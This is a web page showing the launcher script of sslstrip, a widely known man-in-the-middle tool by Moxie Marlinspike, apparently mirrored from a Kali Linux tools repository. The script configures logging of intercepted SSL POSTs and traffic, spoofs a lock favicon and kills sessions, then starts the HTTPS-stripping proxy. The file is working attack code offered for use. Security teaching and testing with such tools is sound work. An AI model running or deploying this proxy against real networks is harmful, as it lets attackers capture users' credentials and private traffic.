Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
nu11secur1ty
GitHub Repository: nu11secur1ty/Kali-Linux
Path: blob/master/sslstrip-work-2019/sslstrip.py
1303 views
1
#!/usr/bin/env python
2
3
"""sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks."""
4
5
__author__ = "Moxie Marlinspike"
6
__email__ = "[email protected]"
7
__license__= """
8
Copyright (c) 2004-2009 Moxie Marlinspike <[email protected]>
9
10
This program is free software; you can redistribute it and/or
11
modify it under the terms of the GNU General Public License as
12
published by the Free Software Foundation; either version 3 of the
13
License, or (at your option) any later version.
14
15
This program is distributed in the hope that it will be useful, but
16
WITHOUT ANY WARRANTY; without even the implied warranty of
17
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
18
General Public License for more details.
19
20
You should have received a copy of the GNU General Public License
21
along with this program; if not, write to the Free Software
22
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
23
USA
24
25
"""
26
27
from twisted.web import http
28
from twisted.internet import reactor
29
30
from sslstrip.StrippingProxy import StrippingProxy
31
from sslstrip.URLMonitor import URLMonitor
32
from sslstrip.CookieCleaner import CookieCleaner
33
34
import sys, getopt, logging, traceback, string, os
35
36
gVersion = "0.9"
37
38
def usage():
39
print "\nsslstrip " + gVersion + " by Moxie Marlinspike"
40
print "Usage: sslstrip <options>\n"
41
print "Options:"
42
print "-w <filename>, --write=<filename> Specify file to log to (optional)."
43
print "-p , --post Log only SSL POSTs. (default)"
44
print "-s , --ssl Log all SSL traffic to and from server."
45
print "-a , --all Log all SSL and HTTP traffic to and from server."
46
print "-l <port>, --listen=<port> Port to listen on (default 10000)."
47
print "-f , --favicon Substitute a lock favicon on secure requests."
48
print "-k , --killsessions Kill sessions in progress."
49
print "-h Print this help message."
50
print ""
51
52
def parseOptions(argv):
53
logFile = 'sslstrip.log'
54
logLevel = logging.WARNING
55
listenPort = 10000
56
spoofFavicon = False
57
killSessions = False
58
59
try:
60
opts, args = getopt.getopt(argv, "hw:l:psafk",
61
["help", "write=", "post", "ssl", "all", "listen=",
62
"favicon", "killsessions"])
63
64
for opt, arg in opts:
65
if opt in ("-h", "--help"):
66
usage()
67
sys.exit()
68
elif opt in ("-w", "--write"):
69
logFile = arg
70
elif opt in ("-p", "--post"):
71
logLevel = logging.WARNING
72
elif opt in ("-s", "--ssl"):
73
logLevel = logging.INFO
74
elif opt in ("-a", "--all"):
75
logLevel = logging.DEBUG
76
elif opt in ("-l", "--listen"):
77
listenPort = arg
78
elif opt in ("-f", "--favicon"):
79
spoofFavicon = True
80
elif opt in ("-k", "--killsessions"):
81
killSessions = True
82
83
return (logFile, logLevel, listenPort, spoofFavicon, killSessions)
84
85
except getopt.GetoptError:
86
usage()
87
sys.exit(2)
88
89
def main(argv):
90
(logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv)
91
92
logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s',
93
filename=logFile, filemode='w')
94
95
URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)
96
CookieCleaner.getInstance().setEnabled(killSessions)
97
98
strippingFactory = http.HTTPFactory(timeout=10)
99
strippingFactory.protocol = StrippingProxy
100
101
reactor.listenTCP(int(listenPort), strippingFactory)
102
103
print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..."
104
105
reactor.run()
106
107
if __name__ == '__main__':
108
main(sys.argv[1:])
109
110